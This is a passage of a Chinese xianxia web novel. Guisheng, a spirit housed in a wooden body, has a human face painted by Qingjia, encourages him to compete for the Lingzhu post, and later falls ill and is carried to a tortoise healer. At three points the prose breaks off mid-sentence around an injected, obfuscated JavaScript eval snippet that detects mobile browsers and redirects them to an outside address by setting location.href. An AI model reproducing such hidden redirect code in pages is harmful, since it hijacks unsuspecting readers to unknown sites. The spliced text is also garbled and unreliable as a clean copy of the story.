清伽立刻将她捧出来:“怎么了?哪里不舒服吗?” 归笙:“……不是。” 她惊疑不定地四下张望:“我好像……听到了惨叫声?” 清伽侧耳听了听:“没有吧,是不是今日惊吓太过,魇着了?” 归笙还待再望,清伽却在她额前一拂,归笙便陷入了沉睡。 将手里木头灵怪藏回袖子,清伽再抬眼时,眸中一片冷寂。 暗沉静谧的雨幕中,十步外的楼宇灯火辉煌,似一只堂而皇之盘踞长街的巨兽,无所顾忌地展现染血的獠牙。 清伽慢步走过去。 走到楼下时,伞沿轻抬,任楼檐灯笼的猩光漫入伞下。 守在门前的小厮看清清伽的面容,面上暗藏的警惕散去,露出谄媚的一笑。 他侧身一让,让出一条进门的道,以眼神询问清伽。 清伽没有理会,错开视线,径自离开了。 …… 是夜。 孤灯轻浅,在屋中晕开一片莲色的白。 灯畔,归笙拢着清伽的衣裳,百无聊赖地坐在案沿,两条人腿一晃一荡。 片刻前,她又猝不及防地化出人形了,还很不凑巧地将桌上的茶盏踢到了清伽的脸上。 清伽满脸滴水地把衣裳褪下来给她裹住,就去找巾帕擦脸去了。 然而已经等了好一会儿,清伽还是迟迟不见人影。 归笙合理猜想:这人不会躲哪偷偷哭去了吧? 毕竟被人泼一脸茶水委实是一种屈辱的体验,即便对方不是故意的。 正当归笙等了又等,决定要下地找人时,清伽总算回来了,手里还捧了一盏新泡的茶。 他走过来,将热气腾腾的茶盏往她旁边一搁,解释道:“下午说好的,等你化出人形了,就泡给你尝尝的。” 原来他离开那么久是泡茶去了。 归笙放下了心,正要伸手去拿,却被清伽一挡:“等它凉一会儿。” 他在归笙腿边的椅子上坐下:“现在,我们先来忙一些正事。” 归笙不明所以:“什么正事?” 清伽并未直接回答,而是看了她一眼。 随即就笑出了声:“你知道你现在是什么样子吗?” 归笙木然地道:“看你笑成这样,肯定是个滑天下之大稽的样子。” 不过比起狐狸姑娘们的反应,清伽已经算是很给她面子了。 清伽搬来一面镜子,往归笙面前一放:“你瞧瞧。” 归笙挣扎了一会儿,最终放弃挣扎地看过去。 “……” 即便已经做好了充足的准备,归笙的双眼和心灵都还是受到了令人发指的打击。 开了眼了。 人族的五官竟然还能如此排列组合。 瞧瞧这眼睛是鼻子,鼻子是嘴巴,下巴是额头的,没一个呆在它本来的位置的。 也难怪狐狸姑娘们一见她化出人形,就对她失去兴趣了。 清伽摸摸她耷拉下去的脑袋,柔声宽慰:“好了好了,别伤心,灵怪人形的皮相本来就是需要后天画上去,然后再定形的。” 他俯下身,从案底下搬上来一只妆奁。 “咔嗒”一声,妆奁开启,胭脂水粉的柔艳香气霎时充盈满室。 归笙震惊地望着清伽:“你为何会有这种东西?莫非你……” 清伽:“我没有特殊癖好。” 长久相处下来,他已很能预判她有时过于清奇的脑回路,及时地捍卫了自己的清白。 “是那小赤狐要拐我的灵怪,我没追究,赤狐姥姥过意不去,临走前送我做赔礼的。” “刚好,”他一样样地拣出妆奁中的器具,“也省了我自己去买的功夫。” 归笙诧异道:“你要买这些东西做什么?” 清伽坦然道:“给你绘制人形的皮相啊。难道你想自己来吗?也可以,但可能会有点累。” 归笙委婉地表示:“其实我并不是很在意这个,可以就这么将就。” 她迟早是要出去的,而莲华境里的壳子丑,关她在莲华境外的壳子什么事? 清伽却正色道:“救怪救到底。” “你顶着这么一副皮相跟在我身边,不知道的还以为我虐待灵怪,故意要你扮丑供我取乐呢……我那些爱八卦的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745434|189864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同僚本来就看不惯我,可不能再给他们白添攻讦我的素材了。” 他说得一本正经、大义凛然,归笙却觉得:“其实你就是不想被辣眼睛吧!” 清伽无辜:“那你可真是错怪我了,我也并不是很在意这个。” 他从从容容地阐明理由:“毕竟和我相比,大多数人都是丑的,在我眼里都大差不差。” 归笙:“…………” 清伽:“开个玩笑。” 归笙:“谁笑了请问?嗯?说话!” 清伽笑了,在归笙怒气冲冲的注视下挪动椅子,挪到了她的膝前。 他仰头看她,灯辉落入那双润泽的眼眸,似天星浸染骀荡的江流。 他柔柔哄道:“先试试吧,不满意的话,我再给你画回来好不好?” 归笙:这人又开始仗着美色为所欲为地哄骗灵怪了! 她这次一定不会再没出息地招架不住了! 清伽眨了眨眼:“好不好?” 归笙:“哦,好吧。” 计策得逞,清伽笑意盈盈地站起来,一手扶住她的肩膀,一手取过绘具。 即将开始前,他问:“你有什么要求吗?” 归笙:“什么?” 清伽:“你有没有想要变成的样子?如果没有的话,我再自由发挥。” 归笙想了想,感觉凭空描述有些困难,于是道:“先按照你想的来吧。” 绘制皮相的过程并不多奇异,归笙觉得跟自己以前往脸上抹泥巴吓唬她师兄的感受差不多。 就好像她的脸是一张白纸,在清伽不厌其烦的一笔一画间,逐渐将那些天各一方的五官归拢,纠正了眉毛飞舞、口鼻歪斜等一系列致命缺陷后,再根据喜好修改一些不够顺眼的细枝末节。 短暂的停顿间,归笙对着镜子张望,道:“嘴唇是不是有点太薄了?” 清伽莞尔:“厚点会更好看吗?” 归笙:“那倒不一定,主要是我喜欢。” 因为跟她原来的脸比,这嘴唇是有点太薄了。 清伽便没有意见:“嗯,你喜欢最重要。” 他俯下身,指尖蘸一抹檀色的口脂,轻点她的唇珠,细致涂抹丰盈。 这么好说话? 归笙眨了眨眼。 那就别怪她不客气了。 一连指出几十处改进意见,清伽都耐心地一一满足后,这张脸总算和她原本的样貌大差不离了。 大功告成,归笙扒住镜子左看右看,满意得头发乱翘。 真是阔别许久的她本来的脸了。 清伽把她翘起来的头发抚平,忽然道:“你喜欢这样的脸?” 归笙以为他在说反话,当即嚷嚷回去:“这脸怎么了?这脸多好啊!” 清伽笑了声,摇了摇头:“我没有别的意思,只是……” 他的语气难得带了几分惊奇:“只是,和我想的大差不离,有点惊讶罢了。” 归笙也跟着惊奇:“这么巧的吗?” 难道是清伽潜意识里还记得她原来的那张脸? 也说得通,毕竟她那滴鼻血给他造成了那么大的心理阴影,他把仇人的脸记得刻骨铭心也在情理之中。 清伽将她的碎发拨到颈后:“满意的话,这就定形了?” 归笙敛起思绪,点点头,闭上眼:“你定吧。” 26. 转折处 清伽前脚刚给归笙定好皮相,她后脚就又化回了原形。 归笙不禁庆幸地想:幸好没画着画着就变回去,不然就前功尽弃了。 正当她遗憾地目视那只被他二人遗忘许久的茶盏,想着又只能等下回再一尝究竟时,清伽忽然道:“我大概知道你化形不稳定的原因了。” 归笙转眼看他:“嗯?” 清伽:“问题出在你这个原形上。” 他伸过手来,指尖虚点在砂笙的上端,类似于头顶的位置:“这里,有五个怎么也修复不了的缺角。” “本来我以为,这缺角只是暂时没长好。” 他神色微微沉凝:“但方才给你绘制皮相的时候,我发现你人形的头皮上也有五个窟窿……一般情况下,灵怪原形受的伤不会原模原样地出现在人形上,除非……” 归笙接话道:“除非这个部位已经坏死,藏都藏不住了。” 清伽手一滞。 归笙想通了前因后果,直接告诉他道:“这地方应该就是我被抽出髓华时,那女子五指嵌进去的部位,救不回来了也正常。” 她小幅地蹦跶了一下,顶了下他微凉的指尖,豁达地道:“顺其自然吧,不就是化形不稳定嘛,又不是什么大事。” 清伽却不应声。 归笙奇怪:“清伽?” 清伽低声:“当时很疼吧。” 是从未在他这里听过的黯沉语气,归笙一时有些愣神。 清伽蹲下身,视线与她齐平,眉心不知何时蹙紧了,本就白皙的容色更加雪白,白得几乎有些吓人了。 他看着归笙,轻声说:“对不起,如果我当时赶到得再早一些……” 归笙:“停!停!” 她边叫停边扑了过去,硬生生将那双满是歉意的眼睛扑得阖了起来,又调整姿势,将那张道歉的嘴也牢牢堵紧。 维持着这个严防死守的姿态,归笙严肃地教训他道:“你当时又不知道会发生什么,干嘛要拿现在的情况苛责当时的自己?谁都不能未卜先知啊。” 而且平心而论,根据她当时感受到的气息,那一男一女的修为皆在清伽之上,清伽先前能用西漠独有的莲华境伤他们个措手不及,却不代表正面交战起来就一定能落着好。 所以在她看来,清伽此刻的自责完全没必要。 归笙接着道:“你赶到得分明就很及时!你救下了我呀,我这不是活得好好的么?所以你不准再那么想了。” 说完,她拿叶子挠了他一下:“听进去没?” 清伽还是不说话。 归笙凶巴巴地威胁道:“不应声的话,你今晚脸上就顶着个木头睡觉吧。” 耳畔这才溢来一声浅浅的笑。 清伽将归笙捧下来,眼波盈盈地瞧她:“不是在训话么,怎么突然奖励起我来了?” 归笙:“……” 清伽噙着笑,用额头轻轻贴了下她火冒三丈的脑袋:“我听你的,我不想了。” 归笙深感欣慰,以为清伽听进去了。 然后第二天她就知道,这人听进去了个鬼。 清伽先是消失了一整个上午,回来时,打开乾坤袋,从中搬出来三筐崭新的衣物。 归笙好奇地颠过去,跳上衣筐的边沿,没落稳,险些一头栽进去,被清伽托了下才站稳。 她低头打量一番,纳罕道:“怎么,你打算尝试裙装吗?也挺好,我觉得你穿什么都会别有一番风味的。” 清伽嘴角抽了下:“当然是给你买的。” 归笙震惊:“就我这一天断断续续化形不超过半个时辰的状况,你买这么多作甚?我穿到死也穿不完啊。” 清伽:“什么死不死的,别乱说。” 他将归笙捧回书案边,刚把她放上去,归笙便化回了人形。 清伽娴熟地褪下外衣将她裹住。 归笙也娴熟地拢好衣襟:“你看,根本不需要多余的衣物。” 以前猝不及防地化出人形,她还会羞耻一下,但次数多了,她也就麻木了。 听了她这无比松弛的发言,清伽简直哭笑不得:“你毕竟是个姑娘,我次次当场给你裹衣裳像什么话?” 归笙满不在乎道:“我在你眼里不就是一根木头么?有什么可介意的。” 长久的相处下来,她深刻意识到面前的人看她,完全就是在看一根自己一手养活的木头,类似旁人看自家养的小猫小狗,而这人喜欢逗她,大概也跟人家撩猫逗狗的心态差不多。 人族养灵怪不就是用来这么消遣取乐的嘛,附在灵怪壳子里的归笙接受良好。 她沉浸在自己的思绪里,没注意清伽微不可察地一顿。 他道:“先不说这个了,我有正事要和你商谈。” 归笙指了指自己:“?” 一时不知道这句话的槽点是清伽居然能有正事,还是这正事居然要跟她一个灵怪相商。 清伽坐到椅子上,开口便是一句平地惊雷:“关于你原形的那五个缺角,其实可以尝试用煌星木的木屑来修补……煌星木能令万物化灵,赋死物以生命,想来也一定能使坏死的木头复苏。” “但是在灵侍的这个品级上,只有被选出的灵主才有资格接触煌星木,所以想要帮你,我得从此奋发图强,争取当上灵主了。” 清伽一口气说完,便懒洋洋地伏在案上,枕进自己的臂弯间,好整以暇地侧脸看她:“现在,我给你一炷香的时间,思考如何激励我。” 归笙:“……” 归笙陷入了沉默。 并在沉默中缓缓瞠大了眼睛。 直至一双眼瞪得浑圆,却也只是她眼眶的极限,而不是她震惊的极限。 归笙无法形容自己此刻的震惊。 原来,竟然是这样吗? 一开始,她以为往生镜是为了给她这个伴考一个身份,所以随意地将她塞进了三百年前的一个木头灵怪的躯壳里,随意到险些令她开局死亡。 后来,赶来的清伽救下了这只木头灵怪,但归笙无法分辨这是出自清伽的意愿,还是初代灵主残魂的选择。 所以,她并不确定三百年前,初代灵主究竟有没有救下这只木头灵怪,也即在初代灵主的人生轨迹里,是否有这只木头灵怪的存在。 因而在过去的时间里,归笙在面对眼前的青年时,代入的还是她自己和清伽的相处,而非三百年前的木头灵怪与初代灵主。 ……直到此时此刻。 难道在三百年前,西漠的初代灵主真的救下了一只木头灵怪,然后为了给这只木头灵怪重塑一副完好的木头身体,才改变了想法,决定争夺那个已有定数的灵主之位么? 她所附身的这只木头灵怪,就是那个令初代灵主改变态度的契机? 归笙一时找不到任何的言语来表达自己对这个真相的感受。 简单?离谱?荒谬?还是感慨? 她说不清楚。 而更说不清楚的是,她如今眼前之人,她究竟该把他看作谁? 性情大变、救下灵怪、谱清心咒……如今回想起来,眼前的青年比起她认识的那个清伽,其实一直更多地呈现着初代灵主的影子。 “这道考验,便是要参考者重走初代灵主的人生轨迹,看是否会被初代灵主的残魂影响,甚至控制;还是能以自身的心念行止,走出一条不一样的道路,做出不一样的抉择。” 当时听来还算自洽的考验内容,如今回想简直是暗暗挖了一个惊天巨坑—— 既然是重走初代灵主的人生轨迹,且轨迹不可更改,那么就根本说不清他在这轨迹里做出的举动,到底是其受残魂影响,还是清伽本心的选择。 这往生镜的考验,其实就是把两个人融合成一个人了吧! 图什么啊? 妙慧灵祖到底想考清伽什么啊? “一炷香的时间到了。” 那边,清伽消消停停地把头撑起来,宣布:“开始吧。” 又瞧了眼她的神色,安慰她道:“有这么纠结吗?我很好劝的,你大胆试一试吧。” 归笙:“……” 罢了。 纠结来纠结去,所有的疑问都只是疑问而已,没必要钻牛角尖得到答案。 对她来说,什么都没有尽快破出莲华境来得重要。 清伽当上灵主之后,遇到的形形色色的场景会更多,对莲心法力的消耗也会更剧烈。 那就如他所愿,激励他吧。 然而想得简单,由于她方才一炷香全用来思考别的了,此时脑袋空空,蹦出一个字都万分艰难。 迎着清伽期待无比的目光,归笙如临大敌:“你……” 清伽望着她皱皱巴巴的脸,捂住嘴,脸埋进臂弯。 随即,整张桌案都抖了起来。 归笙:“……” 不是,她这一句话都还没说完呢,他笑成这样是在干什么? 清伽笑得没完没了,且愈发猖狂,归笙等了半天都没等到他收敛,忍不住控诉道:“过分了啊,你还听不听了?” 清伽这才停下,揩掉眼角笑出的泪花,望来的眼眸润泽清亮。 他道:“不用说了,你成功了,我被你说服了。” 归笙面无表情:“我拢共就说了一个字,是我的声音太优美了,美到你心坎里了吗?” 清伽差点又要接着笑:“我不是说过吗?‘救怪就到底’。就算你一个字都不说,我也已经想好了,只是想哄你多跟我说说话罢了。” 他站起来,摸摸她的脑袋:“再说了,养了这么一只会开口逗人笑的灵怪,我拼了命也要让你笑口常开啊。” 归笙:“笑口常开是这么用的吗?!” 清伽:“好啦好啦,别生气了,我去给你泡茶喝。” 然而等清伽端着茶回来,归笙又变回原形了。 清伽愣了愣:“这次化形的时长怎么这么短?” 归笙痛心疾首地看着那盏清香四溢的茶:“可能是被你气得吧,都没力气维持人形了。” 清伽只好提议道:“要不换个大点的盆来?把你放进去泡澡,吸收了也算是喝了。” 归笙:“我谢谢你,但还是免了,不要暴殄天物。” 这桩正事就此商谈完毕。 但归笙没料到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745435|189864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它这么快就被清伽提上了日程。 当日傍晚,归笙正在花盆里悠然欣赏夕阳,忽见院子里来了个人。 那人怀抱着一沓足有一人高的咒卷,抱得极不稳当,在昏昏懒懒的斜阳下晃晃荡荡,看得归笙的一颗心也跟着摇摇欲坠。 她扬声提醒道:“嘿那位兄台,你走错寝院了!” 那人脚步不停,却从咒卷后探出一张活色生香的脸,嗔怪道:“半天不见,你连我都不认得了?真是令人伤心。” 归笙只觉青天白日活见鬼了:“是你被夺舍了还是我没睡醒?你居然抱了一沓咒卷回来?” 清伽走进屋放下咒卷,趴到她的花盆边休息了一下,才苦恼地道:“真诩很用功啊,我又没他那么厉害的家族,还是得加把劲的……至少下次考核得把他甩出一大截吧,这样才有一争之力。” 归笙:“现在不已经是一大截了吗?” 清伽想了想,赞同她道:“那下次就两大截。” 这么努力啊。 归笙见他又趴了会儿,深吸了好几口气,似乎在做极其激烈的心理斗争。 她知道,这人是在说服自己去修炼呢。 归笙犹豫了一下,在清伽面如死灰地站起身时,贴了下他搭在花盆边的手:“辛苦了。” 清伽一怔。 随即他摸摸她的脑袋,笑叹:“我好不容易把自己劝好了去修炼的,结果你来这么一下,我又不舍得走了。” 归笙火速缩了回去,把自己埋进了土里:“那你还是赶紧走吧,耽误什么都不能耽误你奋发向上啊。” 清伽所谓的“走”,其实也就是去到离窗台三步外的书案边。 归笙目送清伽忧伤地在书案边坐下,又萧瑟地翻开一本砖头厚的咒卷,最后凄凉地运起了髓华,终究没忍住笑出了声。 可算看到这个总是捉弄她的家伙吃瘪了。 被清伽幽怨地瞪了一眼后,归笙若无其事地转身,假装去吸收初上的星月精华。 换作以往,她通常比清伽休息得晚,只是近来不知为何,总是莫名其妙地感到困倦。 这不,归笙赏月没多久,便迷迷蒙蒙地睡过去了。 不知过了多久,耳边依稀响起轻缓的脚步声。 半梦半醒间,归笙蓦地感到身体一轻。 她骤然惊醒,悬空的不安令她瞬间抬起手臂,想要抓住点什么来稳住身形。 “唔。” 一记闷哼近在咫尺,有温热的气息拂过耳际。 归笙被痒得一缩,微愣地抬头,望着被自己搂进臂弯的,那张略带笑意,又隐隐吃痛的脸。 清伽柔声道:“松开些,脖子都要被你掰断了。” 归笙懵然松手:“你这是?” 清伽直起身,施施然道:“想把你转移到榻上睡得舒服些,结果险些被你恩将仇报,锁喉身亡。” 又为了证明自己的说法不是凭空捏造,他稍侧过身,给归笙看窗边碎得凄惨的花盆。 归笙明白了:“是我在睡梦中化回人形,给它压碎了吗?” 清伽“嗯”了一声:“恭喜它,也算是功成身退了。” 由于书房与寝屋贯通,清伽抱着归笙向里走,将她放到帘后的榻上。 归笙愕然:“我睡这,你睡哪?” 清伽一指书案,那沓一人高的书摞如今还剩半人高,在昏昏惨惨的灯光中,显得格外的高不可攀。 清伽露出一抹微笑,只是那微笑怎么看怎么令人潸然泪下:“我今夜估计是睡不了了,你安心睡你的吧。” 归笙想起他本来严格遵守四个时辰的睡眠时长,且从不晚歇,到点往榻上一倒就没了动静,不禁忧心忡忡地牵住他的袖子:“你突然这样大变作息,真的不会猝死么?要不你还是明日再继续吧?” 清伽瞥一眼袖子,笑得松快了几分:“修士要是这么容易猝死的话,凡人还怎么活?” 他俯下身,替归笙掖好被角,轻声说:“小时候活得有些艰难,想着成为修士就能活得长些……所以我当初才来投奔莲华殿的。” 这是他头一回对她说起小时候的事情。 虽然心知他此刻所说的应当是初代灵主幼时的遭际,但归笙还是不由想起那个遭到虐打失聪失语的小清伽。 出神间,他长长的乌发垂落下来,落到她的枕边,散开温润的香。 清澈却不清寒,恍若岑寂的檀烟里,一抔暖玉的温香。 归笙在这香息的萦绕下越发困倦,思绪也混沌了,有些举动不及斟酌合不合适,便行随念动地做了出来。 她抬起手,抚了抚那张俯下的容颜,算作一个无声的安慰。 清伽愣了愣,随后闭上眼,在她掌心轻轻地蹭了一下。 归笙没留意他的举动,毕竟她此刻残存的神智只能支撑她不至于立刻不省人事。 清伽将她即将掉下去的手攥住,妥帖地放进被褥,又将她压在肩下的发丝悉数拨到枕上。 “好了,我得继续挑灯夜读了,你也别强撑了。” 他伸手在她眼前一拂,睡意便彻底将归笙淹没。 “睡吧。” 27. 变故生 清伽拼搏努力的日子一晃而过,很快,便到了下一回莲华境考核等次公布的当天。 是夜。 “你不是只喜欢同那些没用的木雕消磨时光吗?那就继续啊!别肖想些不属于你的东西了!” “一介胸无大志、目无众生,从西漠凡间跑来讨食的叫花子,你凭什么当上灵主?” “有些不该管的事,劝你不要自讨苦吃,上赶着当别人的眼中钉,迟早有天给你拔了……” 窗畔月下,堆满咒卷的书案上,化出人形的归笙坐在案沿,笑到捶桌不止:“他真是这么说的?” 清伽模仿完毕,清了下嗓子,也是压不住笑意:“对,白天真诩拦下我,说的就是这些。” 归笙捂住笑痛了的肚子,在桌上打了个滚:“哎呦……你把他那股阴阳怪气的味道学得太像了……看来你突然勤奋,真是把他给急得要命……” 好容易笑够了,归笙爬起来,揩掉眼角的泪花,感慨道:“你说真诩好端端的一个人,长得也不赖,怎么老喜欢说些奚落人的话呢?” 清伽笑意微敛,瞅她一眼,轻哼一声:“他那就叫长得不赖了?你眼光真差。” 归笙:“?” 莫名挨骂,归笙立即撑起身,不服气道:“我眼光差?那我还觉得你长得好呢,这叫什么?” 清伽气定神闲,大言不惭:“这叫人之常情。” 归笙:“……” 归笙被清伽的不要脸镇住。 更可恶的是,这不要脸的发言还无可反驳。 他是真的长得好。 不行,不能让他这么嘚瑟下去。 归笙一指堆了满桌的文册书卷,转移话题道:“怎么今日抱回来的不是修炼咒卷,而是这么多事务文书?发生什么事了吗?” 说起正事,清伽果然立刻蔫了。 他下巴往案上一搁,活像被生活的重担压垮,满脸命苦。 清伽奄奄一息道:“不久后五方盛会要在中州召开了,莲华殿不少人得出一趟远门,我们这些灵侍得赶在那之前把积压的事务全部处理掉。” 五方盛会,五方域境每隔几十年便要举办一次的盛大集会,原来三百年前也举办过这么一场。 归笙好奇道:“你也要随行吗?” 清伽摇摇头:“目前灵祖的考虑是让我和真诩一个随行一个留守,具体怎么分派还没定呢。” 归笙奇怪:“为何只在你们两个之中考虑?” 清伽瞥她:“嗯?我没说过吗?五方盛会之后,莲华殿大概就要选定灵主了。所以盛会期间,我和真诩谁的事务办得漂亮,谁就能夺下了。” 归笙愕然:“怎么就到决胜负的一步了?” 她分明记得清伽才开始努力没多久啊? 清伽挑着眼尾笑:“不然你以为真诩为何那么针对我?因为他是真的很有危机感啊。” “之前灵祖隔三岔五就来劝我努努力,是我再三推辞坚定拒绝,灵祖才勉强顺从长老们的意思,默认真诩是唯一的灵主候选……如今我回心转意,灵祖自然倾力相助于我。” 归笙却嗅到不对:“平白无故的,灵祖为何要和那些长老对着干?就因为你莲华境学得更好?” 清伽想了想,尽量简单地解释:“他可能,也不想莲华殿一直受那些不干实事,全凭资历联结而久居高位的长老们的控制吧。” 归笙顿时皱眉:“所以,他在利用你。” 这位灵祖莫不是要把清伽当作一柄刀,一柄斩向莲华殿内盘根错节的刀? 清伽笑道:“我何尝不在利用他呢?不然凭我势单力薄,是绝对争不过真诩的。互惠互利的事情,谈不上谁利用谁。” 他说得轻巧,归笙却纠结了。 她知道,这件事绝不会像他说得这样轻描淡写。 在天霄派时,因为利益不合,除了霞澜峰外的其他五峰明里暗里给栖雪峰使了多少绊子,她亲身体悟了许多年。 而在这许多年里,她和师兄还曾有师母与师父的庇护,而眼前的清伽,除了一身莲华境的造诣外,就只剩了这个还要靠他重塑身体的灵怪。 与那根基深固的灵侍家族比起来,他实在是太好被对付了。 然而纠结归纠结,归笙不会劝阻他。 因为她心知肚明,只有清伽决定争取灵主之位,他二人所遇到的盛大场面才会更多,才能加快莲华境的崩毁。 没有办法,只能如此。 归笙深深叹了一口气。 叹完,方才笑痛的肚子忽而抽痛了几下。 归笙只当是笑抽筋了,没当回事。 不再进行无意义的纠结,归笙探身瞄向被清伽压在手臂底下的案卷。 她好奇地问:“你方才就一直遮遮掩掩的不让我看这一卷,是真诩说的那件‘不该管’的事吗?” 清伽一拂袖,将案卷遮得更为严严实实。 他严肃道:“少儿不宜。” 归笙:“……” 归笙百思不得其解她从外到内究竟哪里和“少儿”两个字沾边了。 不说她自己,就算是这木头灵怪的壳子,至少也该有十几年往上的修为了,清伽的理由显然不成立。 归笙不禁合理怀疑道:“你是不是有什么事瞒着……嘶。” 一直被她刻意忽视的腹部抽痛猝然毫无征兆地加剧,归笙没忍住抽了口气。 额前立刻一温,是清伽用手背贴住了她的额头:“怎么了?” 神奇的是,清伽的手一贴上来,她肚子瞬间就不疼了。 归笙试着将他的手拿下来,等了一会儿,没有再出现异样。 于是她下了结论:“方才笑得太狠,肚子笑抽筋了。” 清伽却阖起案卷,将案上的杂物全部推远,把归笙挪到书案正中。 就着灯盏,清伽仔细地看了看她的脸色。 片晌,他道:“脸色这么差,真的生病了。” 归笙:“……” 经他点破,那本来绞在腹部的痛楚瞬间蔓延到全身,像一堆突然被日光照到的阴暗爬虫,在她体内四散惊惶地奔走,激起一阵五脏六腑被踩得稀巴烂的难受。 归笙切身体悟到了何谓“病来如山倒”,几息前她还能谈笑风生,这会儿却已直不起身,只想缩成一团,缓解身体里过于激烈的痛楚。 清伽快步走向衣箧,字句调侃,却难掩焦灼:“木头生病,是不是要去找啄木鸟灵怪?” 归笙抗议:“我觉得我可能并不是长虫了。” 被他故意这么一打岔,归笙分散了些对痛苦的感知,好歹没直接晕过去。 清伽抱着加厚的衣裳走回来,将她又裹了一层,问:“能化原形吗?” 归笙试了一下:“好像,有点困难。” 她对清伽举起两条胳膊,一只是木棍,一只是人手。 归笙:“这样可以吗?我没力气了。” 清伽:“……可以,非常可以。” 他温声夸奖着,将软绵绵的人整个捞进怀里:“这样一看就能看出你的原形是什么,给医修们省了不少事,他们会夸你是根贴心的木头的。” 归笙没留意他生硬的夸赞,只迷迷糊糊地惊叹:要不说这具灵怪的躯壳,从上到下、从内到外全都是由清伽亲力亲为打造的呢。 此刻她窝在他的怀里,这具身体只觉如乳燕投林,倍感亲切,几乎无法自控地向他贴紧,想要每一寸皮肤都不留余隙,汲取他髓华里温暖的气息。 二人间相隔的衣料成了肌肤相贴的最大阻碍,归笙意识不甚清明地上手扒拉,却被清伽捉住手,强硬地塞了回去:“安稳点,别再着凉了。” 身体不舒服,想做的事也被驳回,急病状态下心志脆弱又智力微弱的归笙委屈地揣着手,湿漉漉的眼珠不甘心地来回乱瞟,一心寻找报复这个坏人的时机…… 找到了。 抱着她的人有一头柔丽的乌发,流漾的水墨般动人心魄,此时正被一根浅色的发带随意挽住,垂落在一侧的锁骨前,在她的眼前悠悠荡荡。 心尖被那发尾晃得发痒。 归笙意识朦胧地探出指尖,指尖绕住那发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745436|189864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尾—— 轻轻一拽。 抱着她的人脚步微滞。 须臾,上方落下来道低柔的轻哄:“别闹。” 然而归笙向来是吃硬不吃软。 她不仅不收手,还把那段发尾含进了嘴里。 “……” 下巴被钳住,归笙嘴里的发尾被轻抽出来。 清伽低头,训话道:“就算不清醒,也不可以乱吃东西。” 归笙愤怒地咕叽了声,无能小怒了一下。 搞怪完这一出,这下她是彻底没精神再作妖了。 看着怀里那张无精打采的苍白面容,清伽手臂轻颤,又不自觉更紧。 他一路抱着归笙前往莲华殿的医馆,途中引得一众灵侍惊诧侧目。 即将踏入医馆的大门时,里头正好走出个归笙认得的灵侍。 嗯,认识的方式是某天这人试图找清伽打架。 面面相觑间,归笙来了点精神。 因为对面灵侍此刻的状貌十分精彩,脸上颈间全是莫名的红痕青紫,活像被人撕咬啮啃、拳打脚踢留下的痕迹。 而且除了外伤,此人的精神状态也极其欠佳,一双腿脚走起路来虚软无力,眼下两道黑青浮肿突兀显眼,整个人一副透支精力的萎靡不振。 然而看到清伽,灵侍那对干黄的浊目蓦地挤出几分神采。 找茬的神采。 “清伽,莲华殿清修之地,谁容许你在殿中胡来?” 他一脸嫌恶地盯着二人道:“光天化日,大庭广众之下和美貌少女搂搂抱抱,你简直毫无廉耻之心!” 美貌少女归笙听到这话,由于病糊涂了,理解发生了偏差,回光返照地扯了扯清伽的衣襟,欣慰地道:“你听到了吗?他在肯定你给木头绘制皮相的手艺!你感不感动?” 清伽很配合地感动道:“感动,不过你的悉心指导也功不可没,他应该也夸一夸你。” 一人一怪你一言我一语,旁若无人地拉拉扯扯,惨遭无视的灵侍脸色阵青阵白,比打翻了的染料盘还来得精彩。 在他再要开口之前,清伽绕过他进了医馆。 今日莲华殿坐诊的医修,是一只比莲华殿还历史悠久的山龟灵怪,由于活得太久,治过太多的疑难杂症,医术绝世无双,被某前代灵祖以“您那么能活,等熬死了我等,这莲华殿便是您一龟的天下”为由,隆重请出了山。 归笙一进门就看到,那背着巨大龟壳的山龟灵怪,正把手上套的一层发黑发烂的隔膜法宝摘下来,边销毁边嘀咕:“太脏了太脏了……现在的年轻人真是不怕得病……” 听到身后的动静,山龟扭头看见清伽,开口便是一句:“稀客。” 山龟对清伽的印象很深刻。 由于莲华境专逮修炼它的灵侍杀,所以莲华殿的灵侍人均带有大大小小的毛病,时不时就要到他这里来诊治。 唯独这一位,不知是体质太好,还是太注重保养,一年到头,也就莲华殿勒令全体灵侍统一检查身体状况,并要将医修的诊断结果上交时,他才会在一众医修跟前露个脸。 检查结果也从无例外,和他那令人艳羡的修炼资质一般,无一分缺憾。 难怪他那些同僚恨他得要死要活,成群结队地来治病时也不忘骂他两句过过嘴瘾,连它这个不问世事的老龟都产生了几分兴趣,一直很期待哪天这小子也病倒了,过来给它添点乐子。 清伽走上前,小心翼翼地将怀里的一团送过去:“劳您费心。” 山龟顿时龟脸一垮,颇感无趣地“啧”了声:“果然不是你本人生病。” 清伽低声说:“若是我本人就好了。” 山龟瞅他一眼,胡须一撇,并不怎么当回事地探查起小姑娘的状况来。 